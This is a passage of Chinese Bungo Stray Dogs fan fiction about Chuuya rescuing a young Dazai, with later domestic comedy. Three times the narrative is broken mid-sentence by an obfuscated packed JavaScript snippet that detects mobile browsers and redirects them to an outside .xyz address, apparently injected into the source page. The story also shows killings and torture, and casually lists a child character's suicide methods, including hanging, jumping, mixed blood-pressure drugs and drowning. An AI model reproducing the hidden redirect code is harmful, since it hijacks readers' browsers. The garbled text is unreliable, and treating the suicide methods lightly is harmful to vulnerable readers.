他每说一个字,中也的脸色就苍白一分,说到最后,中也面无血色,湛蓝的眼睛如寒潭一样冰凉,不带感情地吐出一句话:“你要是真觉得我会爱你,又何必打扮成这样。” 太宰脸上的笑容突然消失。 “照片给我,你滚吧,别让我动手杀了你。” 这话说的冷淡又无情,眼底更是毫不掩饰的闪耀杀意,太宰呼吸一滞,在中也拿照片时下意识握紧,没有保护的照片就和纸张一样脆弱,在两人争执间碎成两半。 “刺啦”一声,让人心惊。 他下意识去看中也的表情,果然面沉似水,即使他每天捉弄中也把对方气的跳脚,也很少看见这样的神色,因为中也从不对他真正生气。 但那是从前。 他想挽回,像从前一样哄一下中也让他不那么生气,出口却是阴阳怪气:“一张照片而已,中也干嘛那么在意,反正照片上的人也是我,中也要是想要,那我可以勉为其难再陪中也拍一张哦。” 求求你了,答应我吧,我们再拍一张新的照片。 听见他这番阴阳怪气,中也简直气疯了,伸手抓住太宰的领子将他提起来,面贴着面,呼吸交织,一字一句:“……哈哈,那我真是谢谢你了,像哄孩子一样为我作出那么大牺牲,真是好伟大啊太宰治,我真要感动哭了!” 说着感动,中也眼眶却红了一瞬,委屈难受和羞耻一起冲上脑门,急需发泄,他只好将那些奇怪的情绪全都变成怒气,好让自己不那么狼狈。 中也怒吼:“我真是谢谢你,但是用不着了,我喜欢的讨厌的恨得都是我的搭档太宰治,跟你这个背叛了我的前搭档没有半毛钱关系,你就算穿上以前的衣服,在我这也是假冒伪劣产品!” 好一个假冒伪劣产品。 太宰治人生头一次觉得无措和害怕,似乎他再不做些挽回,就会发生再也挽回不了的事。 那种即将失去世界上最珍贵的宝物的恐慌慑住他的心魂,他颤抖但笃定地开口:“中也,我就是太宰治。一个月前,横滨那场雾里,你为了救我奋不顾身都是假的吗!?” 中也已经冷静下来,淡淡道:“BOSS的命令而已,我不可能看着横滨出事。” 这番话里几分真几分假只有他自己知道,可如今已经在太宰面前丢人到了这个地步,他只能用一个接一个谎言维持住自己岌岌可危的自尊心。他一直是个很骄傲的人。 他如此,太宰亦然,两人用谎话你来我往试探,被对方刺得鲜血淋漓也不肯放手,胆小到不敢袒露内心,为自己穿上一层又一层伪装,披上玩笑和不在意的皮套,连眼神也不肯示弱,却又希望对方明白自己。 还要这样针锋相对到什么时候。 情绪过度激动后,一阵疲惫涌上心头,中也脱力松开太宰,对方宛如尸体般躺回地上。 他慢慢起身,同时从太宰手里揪回那半张照片,第一下没揪动,但到了第二下,太宰自己松开了手。 照片已碎,十六岁再也回不去,中也拿出大人该有的成熟稳重,想和太宰体面解决这次意外:“行了,打你是我不对,不管怎么说,这次谢谢你救我,算我欠你一个人情。至于照片,就不用重拍了,……你不是他。” 8. 来我身边,杀了我 这是一支由十人组成的,小型偷渡客团体。 为首的魁梧男人神情不耐,狠狠扯了下手中的链子,质问:“小兔崽子,你真知道Port Maria的军火走私路线?” 链子另一端扣在一个身形瘦小的孩子身上,他穿着看不出颜色的外套,头发乱糟糟,脸上和身上缠满了带着血迹的泥污的绷带,活像个木乃伊,手脚上分别带着手铐和脚铐。 被用这种犯了滔天大罪似的锁链锁着的,仅仅是个营养不良的十二岁小孩子。 魁梧男人不耐烦地踹了小孩一脚,眼看对方要被踹倒,又猛扯锁链拉回来,粗声粗气道:“老子问你话呢!再不回答信不信现在就弄死你!” 被锁住的小孩——名叫太宰治,脚步踉跄两下,稳住身形,颇为彬彬有礼答道:“是的哦,先生。” “还要多久?” 太宰治扫视四周,横滨被笼罩在浓如丝绸般漆黑的夜里,这里更是静得出奇,唯二的声音就是人语声和脚步声。 他在心底轻轻“啧”了一声,还是温和有礼回道:“马上就到了,大约……” 很远的地方忽然传来机车轰鸣声。 太宰治微微一笑,接着道:“还有一分钟吧,或者更短。” 魁梧青年狐疑,拿枪指着他的脑袋:“真的假的?你又要耍什么鬼把戏!” 太宰治眼也不眨,用乖巧无辜的语气答道:“没有哦,这次我说的都是实话,……不过,我指的是你们的死期。” 他嘴角勾起怪异的笑,活像志怪书中的那种黑色幽灵,很能唬人。 “我去你的!找死是不是!” “艹,揍他!” 偷渡客们纷纷目光狠厉盯着太宰治,看着这个让他们吃尽了苦头的小孩子,魁梧男人直接一拳打过去,用了十足十的力道将太宰治踹翻在地。 “咳咳咳咳——,真是粗鲁啊你们!”太宰治仰在地上,闷哼一声,眼角和嘴角缓缓淌下血迹,“好痛,我最讨厌疼了。” 机车轰鸣声越来越近,有人在朝着这边靠近。 太宰治微微一笑:“港口黑手党要来了哦。” “你居然跟港口Mafia报信!小兔崽子!”一名青年怒火中烧,恨不得把这个孩子关起来狠狠折磨,叫他后悔出生。 魁梧男人拉住同伴,飞速道:“来不及了!亚索,给他一枪,我们快走!” 名叫亚索的青年举起手枪,枪口对准倒在地上、受了重伤的太宰治。 轰地一声,有什么东西从高空遥远处冲击向地面,宛如彗星撞上地球,他们所在之处忽然发生了巨大的爆炸,山石崩裂,尘土飞扬,带起的烟尘久久才散去。 一个浑身红色能量流环绕的青年身影显现,单枪匹马,声势浩大,他的脚踩在魁梧男人头上,狠狠用力,将对方的头摁进土地。 突然出现的身影与月亮交相辉映,漂亮的赭色发尾随着夜风起伏,戴着黑手套的双手嚣张插在口袋里,轻蔑扫了一圈,语气带着血/腥寒意:“敢在港口Mafia的地盘撒野,我看你们……” 青年突然止住话头,像是发现了不对劲的事情,颇为认真地将倒地哀嚎的人数清点了一遍,冷笑一声:“十个人?和情报对不上啊!剩下的二十个呢,留着埋伏我?” 他语气危险,脚下用力,咔一声踩断魁梧男人的脖子,接着脚尖移到滑落在地的枪上,随意勾起,将敌人的枪据为己有。 M2000手枪银色冰冷的枪身在那双修长手指间转了个圈,子弹毫无预兆地出膛—— “砰”地一声,一个偷渡客被一枪爆头,发出一声凄厉的惨叫。 余下的几个人更是被红色能量流裹挟着无法动弹,只能如案板上的鱼肉一般任人宰割。 这是一场毫无疑问的碾压式战斗——或者可以称之为屠杀。 “你…你是港口Mafia的那个重力使!中原中也!” “啊,居然认识我?”中也挑眉微笑,扫过他们脸上的惊恐神色,“啧”了一声,觉得无聊极了,“就这几个下等人,BOSS还要我亲自来。” 他一边说话,一边举着手枪,懒懒问道:“问你们话呢!剩下的人呢?” 青年态度可谓嚣张至极,眼底明晃晃写着“一群垃圾”四个大字,再没有血性的人被敌人这样轻视,都会打心底里感到愤怒,恨不得撕下对方身上一块肉,用对方的鲜血平息心底的怒气。 但在场没人敢露出愤怒的表情。 这个青年太强大了,强大到可以无视任何诡计。面对他不像面对人类,而像是面对着山洪、飓风、沙尘暴那种让人觉得渺小无措的神力,能做的只有等待那位神秘优雅的神明赐予自己死亡。 “神明”发话了:“不说?想死?”他嘴角勾着一抹冷笑,目光落在最近的偷渡客——亚索身上。 亚索全身传来一种被撕碎的错觉,像是被投入几万里深的海底,压强肆无忌惮挤压着他的血肉,一双无情的手毫不留情撕扯他的肌肤,捣烂他的血肉与神经。 好痛好痛好痛好痛!!! 人类无法承受的剧痛折磨下,亚索神志不清,眼含扭曲恨意,颤抖开口:“是…是你身后那个…小鬼,他…干的!都是他…干的!” 我身后有人吗?! 中也一脸茫然往后看,背后空荡荡的,他似有所感低下头,果然看见一个瘦弱矮小的孩子。 身量大概一米二,穿着身脏得看不出颜色的衣服,缠在身上的绷带不断渗出黑红血迹,少数裸露在外的肌肤青青紫紫,看样子没少挨打。手脚脖子都戴着沉重镣铐,就是死刑犯也不会被这样对待,被血污糊住整张脸,唯有一只鸢色的眼睛非常明亮。 那个如流浪黑猫一样的少年张着嘴,睁大圆圆的眼睛,一眨不眨盯着中也,一副宛如看见神明降世的模样。 好脏,好笨,好可怜。 就先看见了无家可归的弱小动物,总是能激起人的同情心,更何况对方这副样子,中也当年也经历过。 他知道流浪的日子很辛苦,所以扬起嘴角对小孩笑了一下,轻声道:“闭眼,捂住耳朵。” 太宰治表情懵懂,眨了一下眼睛,意识到对方在和自己说话,于是真就鬼使神差乖乖闭上眼睛,用手捂住耳朵,小鸟一样把脸埋在膝盖里。 见小孩这么乖,中也又笑了一下,背后手腕一压,头也不回开枪。 砰砰砰砰砰砰。 连开六枪,惨叫没来得及出口就被子弹堵上,血迹飞溅,中也瞥见溅在衣摆处暗红的血迹,皱眉“啧”了一声。 远处传来训练有素的脚步声,是被中也远远甩在身后的两个部下和第一作战小队。 “来得真慢啊!”中也把手里的枪随手撂在地上,背对着部下吩咐,“请罪就不用了。把剩下几个人都押回Mafia地下审讯室,现场尸体清理一下,其他的你们看着办。” “是,中原君。”一个部下应下后,快步向前,恭敬递给中也一个通讯设备,“中原君,第二作战小队队长有新发现要汇报。” 中也单手接过通讯设备:“喂,有什么发现?” “报告队长,我们追着这伙偷渡客的行踪来到一出垃圾场,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853251|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里发现了二十具尸体,全部隶属于这支偷渡客团队。初步估计这二十人是被炸药炸死,经法医诊断,死亡时间大概在六月十七夜晚。” “六月十七,三天前啊。”中也沉思,“这是那伙偷渡客刚到横滨的时间吧,哪个组织下手这么迅速?” “我们在四周追查过,完全追查不到,简直像是这二十人神经混乱自己炸死了自己一样。” 中也心下一动,目光落在地上瘦弱的少年身上,若有所思道:“清理痕迹,收缴他们藏身处的违禁品,不要闹大。……我大概知道是谁了,先挂了。” 结束通讯后,中也目光移向少年,漫不经心勾起嘴角,抬腿踢开脚边碍事的尸体,一步一步走到狼狈跪坐在地上的少年身前。 他单膝跪地蹲下,夜风带起他肩上的黑色大衣,在夜风里划出如蝴蝶振翅般优雅的弧度,用那张精致漂亮到完全不讲道理的面庞轻轻一笑,湛蓝色的明亮眼睛里映出少年身影。 “小鬼,那二十个人是你杀的吧。” 笃定的语气,像书中精怪一样诱人沉沦的嗓音。 太宰治抬头,不看中也,看着他背后的月亮。 这个一夜之间杀了二十人性命的魔鬼,此刻就像是一个再普通不过的小男孩,做了错事被大人发现,害怕受罚,又不敢否认,只好小幅度点点头。 中也笑出声,慢条斯理取下手上的皮质黑手套,露出苍白秀长的指节,接着道:“我说,沿路留下的那些暗示,也都是你做的吧。” 黑猫瞟了中也一眼,移开视线,又小幅度点点头。 骨节分明的手大力揉了揉那颗乱七八糟的脑袋,声音里带着动人笑意:“不错啊小鬼,比我的部下聪明多了。啧,这个年纪一口气杀了二十人,你可真是个天生的黑手党!” 一直宛如布偶一样的少年终于大幅度动了一下,想要挣脱开那只揉着他脑袋的手。 太宰治面无表情抬头,鸢色眼睛里是深不见底的黑暗,开始毫不掩饰地释放自己身上的恶意和某种不属于正常人的疯狂,平静道:“不要碰我。” “嗯?是吗?可是我已经碰了。” “那我会杀了你。” “……噗哈哈哈哈哈。”中也毫不掩饰地大笑出来,带着凉意的静夜完全被打破,周围空气似乎都上升了些许,让太宰因为失血过多产生的寒冷被驱散不少。 人在寒冷环境呆久了,一觉得温暖就开始控制不住哆嗦一下,条件反射似的。 笑够了本,中也敛容,认真看着太宰,轻轻拿拳头碰了一下他的胸膛,道:“行啊,非常欢迎。不过你现在这么瘦弱矮小,想杀了我恐怕只能靠做梦了。而且,即使你再厉害,但我可是港口Mafia的干部,你想见到我都很难!” 太宰治抿着嘴,像是在认真思考现在杀死他的可能性。 “不过,我倒是可以帮你一把,但是我有要求,”中也边说着话,边拿下身上的黑色外套,外套在空中打个旋,披到了跟前伤痕累累的少年身上,“跟我回□□,做我的下属,那可是离我最近的人,随时都有机会杀死我。” 黑色大衣带来温暖,血的腥味和诱人香气同时充斥鼻尖,让人恐惧又为之着迷。 太宰看着那双明亮锐利的蓝色眼睛,心跳快了一拍,或许是对方的提议太让人心动。 他没有半刻犹豫,直接道:“好。” “行,那以后你就是Mafia的一员,在你有劳动能力之前,我就是你的监护人。” “啊,忘了说,我的名字叫中原中也。” “太宰治,幸会。” 9. 中也最高的一回 中也站起身,朝着太宰治伸出手:“走吧,跟我回去。” “受伤了,不能动呢。”太宰治微微低着头,手指绞住黑色大衣的衣角,中也只能看见他无助的侧脸。 看起来真像一个无辜纯洁的十二岁少年。 中也收回手,思索片刻,道:“啧,行吧。我带你回去。” 他本想着用自己的重力异能带着太宰治飘回去,修长的手捉住少年的衣摆,集中精力发动异能。 ……没有任何动静。 这是怎么回事? 中也眼中闪过一丝惊讶,还以为是自己力量不够集中,两指用力捏住太宰衣摆,再次发动异能。 依旧一动不动。 太宰治抬起头,眨眨眼,目光好奇盯着中也。 “你是想用重力异能把我带回去吗?” 中也一言难尽地点头,“嗯”了一声,小崽子正在看着他,赌上□□最强的重力使的颜面,他可不能让人看笑话! 再次集中精力,将重力因子汇于一点,中也面上不显,两根手指快要把衣摆捏烂了,但重力异能依旧发挥不了一点作用。 难道是衣服的问题,再靠近一点,握住太宰的手试试吧。 中也咽了一口口水,不动声色松开手指,衣摆滑落的同时,刚才怎么也汇聚不了的重力因子毫无预兆出现在掌心。 这可是堪比炸弹的武器! 来不及多想,中也增强自身重力做防御,用躯体挡住爆炸,但重力炸弹的余波还是波及到了四周。 又是一阵巨响,尘土飞扬,以中也和太宰为圆心出现了一个直径三米的深坑。 “咳咳咳咳咳—”太宰痛苦喘息,新伤旧伤叠在一起,让他看起来宛如一具血尸。 “血尸”用尽最后一点力气“呸呸呸”吐掉满嘴的泥巴,眼神幽幽望着中也:“……你真是港口Mafia的重力使吗?” 传说中的港口重力使中原中也,是个从没打过败仗的狠角色,有他在的战场总是碾压性胜利,据说敌人遇见他的那一刻起,生死就不再是自己能够决定的了。 “狠角色”左右扫了一眼正在朝这边偷瞄的部下,吓得一群人瑟缩一下,继续低着头干活。 中也一脸比太宰还想死的表情,压低怒音道:“那当然了啊!刚才是不是你这家伙在搞鬼,你这混蛋!” 混蛋失血过多,晕了过去。 中也无奈叹气,过去把人抱在怀里带回去,反应过来刚才的失误可能是因为这少年的异能。 真是独特的异能,还是暂时别让太多人知道好了。 - 港口 Mafia,干部中原中也家中。 太宰治睁开眼,活动了一下干涩的眼珠,小兽一样小心观察周围的环境,视线转到右下侧时,瞥见一个熟悉的人影。 似乎是确认周围环境很安全,太宰开始活动手指——他现在能懂的也只有手指了,其他地方都已经打上石膏裹上板子,一时半会取不下来。 窸窸窣窣的小动静并没有引起远处人影的注意,太宰治觉得不太开心。就像所有小孩为了让大人的注意力一直在自己身上,总会做一些动静很大的事情。他慢慢张开口,试探着发出声音。 “喂——”太宰治拖长语调,慢悠悠开口,“那边的大叔!” 背对着他的人影迟疑三秒,回头用不可思议的目光瞪他。 尽管浑身上下只有眼珠能正常活动,太宰治依旧毫不畏惧:“是的哦,说的就是你啦,大叔。我要喝水,还要上卫生间。” “喂喂,小鬼,我怎么看都不可能是大叔吧!”中也转身朝着这边走来,站到床边居高临下看着他,发现了眼前这人不过是个受了重伤的可怜虫,语气缓和一点,“你可以叫我中原君,中原先生,这两个随便你称呼。” 似乎想到什么,中也抱臂站定,状似无意道:“当然,叫中也哥也行吧,我无所谓啦。” “大叔,可不可以收一收你臭美的pose。”太宰治眼珠转动,将他上下打量一番,嫌弃之意溢于言表。 虽然没说话,但攻击力强的可怕。 中也不服:“谁摆pose了!而且我年纪也没有那么大吧!…应该没吧?” 太宰敷衍点头,叹了一口气,活像医生看见了个无药可救的病人。 “你这家伙故意这么说的吧。”中也怒道,“找抽是不?!” “满脑子暴力的矮小大叔!虽然我对您的自信和厚颜无耻表示高度敬佩,还想对您一言难尽的服装搭配发表八百字长篇评论,顺便采访一下您是如何把世界上最丑的东西如此巧合地集中在身上,但是呢,您能不能行行好,先带我去卫生间。” 中也:可恶,拳头硬了! 但现在估计打一拳就死了吧。 看着太宰气若游丝的样子,中也几乎可以预感到等这混蛋伤好了,该有多么讨人厌。 中也挤出一个狰狞的笑,平生第一次学会“忍气吞声”这个词,脸上明晃晃写着“等你伤好了我就打死你”。 太宰治没忍住,哼笑一声,怎么会有人笨的跟狗一样,什么心思都写在脸上,一点弯弯绕绕也没有。 简直讨厌死了。 两人在心底讨厌对方到咬牙切齿,面上挤出虚伪的笑,蓝色眼底全是怒意,鸢色瞳孔藏着嘲讽,互相搀扶着走去洗手间门口,打开门进去。 中也:“该不会还用我帮你脱了裤子托着吧!” 太宰无奈:“那到不~用~哦~” 尾音轻颤,像是撒娇。 “……” 太宰和中也同时露出被恶心到的表情,背对着扭过头去观察着造成这种恶心局面的罪魁祸首——脚下震颤的大地。 简直像是有人扛着音响在地板上哐哐跳舞似的,把人说话的尾音都晃成了波浪号。 似乎为了解答他们的疑惑,摇滚乐十分及时地在门口响起,还有一个青年热情的声音:“嗨,中也,听说你这次出任务带回来一个黑发美女,还是抱着回来的哦,哪呢哪呢?” 说话的人是旗会阿呆鸟,中也的同僚和好友之一。 “嗯,我也听说了哦。” “还有我哦!” “我也——” “咳。” 几道魅惑/好奇/虚弱/冷淡的声音同时响起,五个大男人把卫生间门口堵了个严严实实。 后面又冒出来两颗脑袋,一个和中也一样戴着黑帽子,一个带着保暖用的棉帽。 “……” 七个人不说话,默默看着屋里这一幕。 中也慌张跨了半步,将只有一米二的太宰挡在身后,心中后悔。 到底为什么上厕所的时候不关门!!! 中也强装镇定,脸上浮现怒色:“胡说什么啊,根本没有什么美女好不好!还有,你们怎么都在这里,我可不记得邀请过你们。” 他一面说,一面走到门口,砰地一声关上门,眼神如X射线般无差别扫射一圈,企图用愤怒威胁他们闭嘴。 阿呆鸟挠挠头,顾左右而言他,语气带着暧昧的笑:“你刚刚是在…?” 七颗脑袋又齐刷刷看向他。 中也冷哼一声,靠门插兜道:“没看见吗!捡了个小孩回来,我在教他上厕所呢。” 外科医生举着点滴,认真道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853252|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中也,你可能捡了个智障回来。” 其他人均一副一言难尽但非常认同的模样。 闻言,中也嘴角控制不住上扬,他连忙低头掩饰,再抬头,又是一副冷淡平静的模样:“我知道,没办法。” - 另一边。 太宰治偏头盯着门,嘴抿成一条直线,鸢色眼睛里像是藏着一只烧死的黑猫。 刚才,中也在听到那个人的声音后,下意识松开扶住他的手,片刻也没有犹豫就扭头离开。 现在,中也在外面和他们有说有笑,听声音似乎有七个人,聊个没完,讨厌的小狗一次也没想起他这个被丢在厕所行动困难的伤员。 解决完,太宰治托着打了石膏的腿艰难挪动到洗手台,冰凉的水擦过指缝,润湿手上已经结痂的细小伤口,看起来就像手上爬了几条恶心的虫子。 他毫不留情揭下褐色伤痂,无视从皮肤组织渗出来的细小血珠,拖着腿一点一点挪动到门口。 门口靠着一个人,他知道是中原中也,动作轻微迅捷打开门,想要中也在地上摔个狗吃屎。 但中也的身体反应速度比豹子还要敏捷,迅速站直身体,微微回头,看见太宰。 目光相撞,太宰脚步踉跄一下,朝着中也怀里倒去。 中也一惊,下意识张开双臂接住晕倒的孩子,把对方抱在怀里。 “喂,你这混蛋怎么了啊,”中也担心道,“刚才还好好的吧!” 他就离开不到三分钟,太宰治就从刚才生龙活虎讨人嫌的死样子变成这种风一吹就晕倒的娇滴滴样? 太宰没说话,伶仃的手攀上中也手臂,伤口的血珠洇进衣服,在中也的白色衬衣上落下夺目的红。 见血了,那是有点严重了啊。 中也顾不得其他,赶紧将怀里脆弱的玻璃人抱起来,朝着床边走去。 他没看到,将头窝在他肩膀处的太宰治,黑发遮住眼睛,面色无比苍白脆弱,但嘴角轻轻上扬一个像素点,那是小孩子做坏事得逞时候特有的笑。 暗杀王魏尔伦看到了。 瞬息间,谁都没察觉到,一把枪悄无声息指着太宰治的额心。 暗杀王魏尔伦眼神和枪身一样冰冷,朝着面前的黑发少年道:“你接近我弟弟有什么企图。” “啊,什么?”中也闻声回头,大惊失色,连忙用手掌抵住枪口,“哥你干嘛呢,太宰治虽然讨厌了点,但也就是个手无缚鸡之力的小孩,他能干吗?!” 第一印象害死人,在中也心里,太宰治就是那天凉月下那个看起来又脏又呆无家可归的流浪黑猫,根深蒂固实在难以动摇。 “他会害了你。”魏尔伦毫不退让。 “怎么可能?!” 兄弟俩谁也不退让,目光在空气里交锋,焦灼的氛围如有实质般笼罩着周围的空气,一时谁也没有出声。 一只冰凉的手突然握住魏尔伦的手,慢慢往下压,兰波柔声劝道:“中也已经长大啦,他的事情就让他自己选择吧,有你我在旁边看着,肯定不会有什么事情的。” 枪口放下,但中也和魏尔伦的面色依然不太好看。 既然是魏尔伦和中也对峙,那就属于家务事范畴,旗会几人面面相觑去,不好插手。 窝在中也怀里的太宰歪头,眼睛圆圆的,好奇看着这一幕,仰头看着那个面容俊美得过分的外国人,问道:“你是想要杀了我吗?先生。” “是。”魏尔伦声音干脆。 “那真是,”太宰语调里的兴奋就像是湖中石子激起的涟漪,一圈圈向外扩大,到最后简直成了欢呼,“太好了!你真是个好人啊先生!” 10. 本周不服输的中也 太宰治语气兴奋,面目涨红,眼睛一转不转盯着魏尔伦手里的枪,伸手就要去够。 中也眼疾手快把那只作乱的手摁回去,怒骂: “小兔崽子,你要干什么,还嫌不够乱?” 他觉得自己简直一个头两个大,打心底里佩服起那些能够周旋于独断的丈夫和智障的小孩之间的女性。 太宰治见枪被收回,神色恹恹,默不作声。 周围也诡异地安静下来,众人像是发现了什么奇怪但是很不得了的事情一样,直直盯着中也看。 “怎么都不出声啊?”中也奇怪,“信天翁你怎么把音响也……” “关了”含在嘴里。 身后七人正在用一种复杂的眼神看着中也。 “你们几个有病啊这么看着我!?” 众人:盯。 “不是,怎么了,我脸上有东西?”中也眨眨眼,不自信问太宰,“有吗?我脸上有东西吗?”看到太宰摇头后他才放心扭头。 众人:盯。 中也怒了。 太宰好心提醒:“帽子先生,他们可能正在对你的道德水平进行评估哦!” “啊?是么,为…”中也下意识顺着话问道,骤然反应过来不对劲,“不对啊,这种东西有什么好评估的!” 他们黑手党能有什么道德! 兰波尴尬笑笑,声音带着歉意:“哈哈,这位小朋友一直这么喜欢找死吗?” 似乎觉得不妥,兰波补充:“没有挑衅的意思,只是在询问一个客观事实。” 魏尔伦看了兰波一眼,理所应当道:“肯定是的。” 兰波:“我不是那个意思。” 魏尔伦:“我知道,他找死。” 兰波:“…你先不要说话了。” 兰波带着人机大哥遗憾离场。 外科医生开口:“你,呃,那位小朋友,”他点点脑子,抛去一个疑惑眼神。 中也会意,莫名道:“他脑子没问题啊,作战的时候还挺聪明。” 信天翁取下墨镜别在胸前,搓搓手,上前一步,尬笑两声:“中也啊,虽然…但是这个小朋友看着还很小呢,也要教他一点正经小孩该学的东西。” 外交官/钢琴家/冷血:赞同点头。 大家在误会他狠狠欺负了太宰——他身上的伤就是佐证,还有刚来时见到的那一幕,没错,一定是中也做了什么,导致这小孩想不开要自杀。 中也一下子全明白了。 “不是?”他指指自己,看看太宰,震怒道,“你们在误会什么啊,!这个绷带混球自杀跟我可没关系!不信你问他啊!” 中也捏住太宰肩膀,对方不说话,皱了一下眉,轻声道:“轻点,疼。” …… 沉默,是今晚的康桥。 中也瞪大眼睛,嘴巴因不可思议而长大,死死盯着太宰,发出一声暴喝:“你这混蛋在说什么啊,你信不信我…我…我…” 被误解的中也很生气,想了半天不知道该拿对方怎么办,毕竟自己二十,太宰十二,真要一拳揍到这小混蛋脸上,那不真成欺负小孩了吗。 一只手伸过来,扳过中也肩膀,信天翁单手提着音响,送到中也怀里,同时按开开关,大悲咒的歌声回荡在房间,仿佛能洗涤人肮脏的灵魂。 中也握拳。 外交官上前几步,拍拍中也的肩膀,道:“没事的,我们可是港口黑手党,做什么都很正常啦,但这个小孩看起来确实有点太惨了。” 不是,你们觉得是我把他搞这么惨的?!!! “但没关系,”四人齐声,“咱们可是黑手党。” 冷血点头。 中也:“哦,真是谢谢你们了,你们真是好伟大好善良好特么……” 没等他把话说完,五人就脚底抹油离开现场。 “砰”地关门声响起,和音响里的大悲咒完美对上节拍,音乐在空荡荡的房间里回荡,起到了前所未有的讽刺效果。 “…噗哈哈哈哈哈哈哈。”某个找死的小鬼一秒卸下伪装,笑到捶床,“拜见黑手党大王哈哈哈哈哈哈哈哈哈哈哈…” 中也额角青筋抽了抽,“砰”地一声,手中的音响受不了重力的碾压,瞬间化为齑粉。 像是放了一个礼炮,在欢迎这所房子的新主人到来。 - 休假几天后,太宰的伤也已经好的差不多了。 短短几天,身残志坚的太宰治已经尝试过上吊跳楼升压药和降压药混着吃,以及在浴缸放水把自己淹死等等花样百出的死法。 两人的日常就是太宰找死,中也揍他,太宰继续找死,中也继续揍他,太宰不断找死,中也不断揍他。 忍无可忍,中也把太宰绑在了床上,偶尔看到床上孤零零的少年,觉得有点可怜,耐着性子陪他玩会幼稚的游戏。 结果这混球跟开挂了一样一次没输过,可怜的中也在一个又一个赌约中输的无比惨烈,但从不服输,被迫答应了一系列堪称“丧权辱国”的条约。 比如—— “小狗女仆——”屋里的太宰扯着嗓子,“我脚痒了,快来给我挠一挠啦!” 中也双腿交叠放在茶几上,仰头看天,熟练堵上耳朵,思考人生。 “小矮子,帽子先生,黏糊糊的小蛞蝓~”太宰声音一次比一次高。 中也不理。 “伟大的港口黑手党,宝石王先生,貌美到可以直接出道的中原中也大人——”太宰治扯着尖叫鸡一样的嗓子,很没诚意道,“快点松开我啦,我要上厕所,我要尿床了哦,呜哇哇,中也虐待儿童,阻止我上厕所啦,杀人啦!!!” 中也木然放下手,站起来,骂骂咧咧走进去:“你这家伙能不能安静一会儿,你叫起来很烦人的!” “哇哦,宝石王先生来啦!” 中也飞过去一个眼刀。 那些称呼是某天他和太宰玩扑克,输了的人要说一个秘密。 开始时中原中也信心满满以为能拿捏住小崽子。 十分钟后,中原中也已经把自己有记忆以来的十二年生涯全讲了出去,输的底裤都不剩了。 而那个该死的混球自从知道了他的外号,没有一天消停的,总是突然出现然后用那种阴阳怪调的语气惊呼:“哇哦,不愧是港口黑手党/宝石王先生/可以直接出道的中原中也大人!” 就像现在这样! 搞得他恨不得绞死这个混蛋! “先说好,上厕所只有三分钟。”中原中也粗鲁地解开束缚住太宰的手铐和脚铐,“没出来我就要进去找你了。” “啊!才不要!就是最凶恶的囚犯,也有自由上厕所的时间吧,中也真小气,中也是个小气鬼!” “哈?你信不信我现在打断你的腿?” “中也是个暴力的小气鬼!呜哇哇,好倒霉!为什么我要和中也在一个屋子里,还要和中也呼吸同一片空气,好~倒~霉~啊~,……啊啊啊中也你干嘛!!!” 中也一把摁住在床上扑腾的太宰治,握住脚腕,把人倒着提起来。 黑发和衣摆全都在重力指引下向下,露出少年产满了绷带的腹部和光洁的额头,冷酷的湛蓝眼睛对上疑惑的鸢色瞳孔,中也毫不留情大力晃了晃。 “呜—,你在干,啊—,吗?啊—”,黑色头发像水中藻荇一样上下翻飞,太宰说话一卡一卡的,宛如网速过慢时的游戏NPC,“呜—,…松开,啊—,要吐了—” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853253|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中也冷着脸,一下把太宰扔回床上,在太宰趴到床边“哕”个不停时,哼笑道:“没看出来吗,我在试图晃出来你脑子里的水。赶紧滚去上厕所吐。” 黑猫冲着中也呲牙,中也照单全收。 太宰伸出脚在中也面前晃来晃去:“专属女仆,快来给我穿鞋!” 中也盯着他,两人目光交锋。 中也:信不信我吧鞋拍你脸上?! 太宰:满脑子肌肉的暴力狂! 太宰治还是慢悠悠穿上鞋,像个刚回走路步履蹒跚的小孩子一样晃着走去卫生间,背影看着心情很好,一点瞧不出憋了半天就要尿床的着急样子。 中也摸着下巴,若有所思。 这几天他休假,难得在家,而只要不在太宰治跟前,他必然一阵鬼哭狼嚎想尽办法吸引自己注意,除非坐到他跟前一转不转盯着他,才能让他老实一会儿。 简直像个黏人得完全不讲理的小孩子。 想通这节关窍,好像抓住了太宰一个小把柄,中也嘴角勾起微笑,漫不经心看了眼手表。 他笑不出来了。 这死孩子进去已经七分钟了! 中也毫不犹豫冲到门口,拧把开门,一眼就看到了正在洗手池前的太宰治。 对方将小小的洗手池蓄满水,跟条鱼一样把脸埋进去,黑色的发丝在水面上漂浮。 “咔哒”一声,门把手拧断了,中也冷笑一声,用重力操纵着门把手,嗖一下朝着太宰的脑袋丢过去。 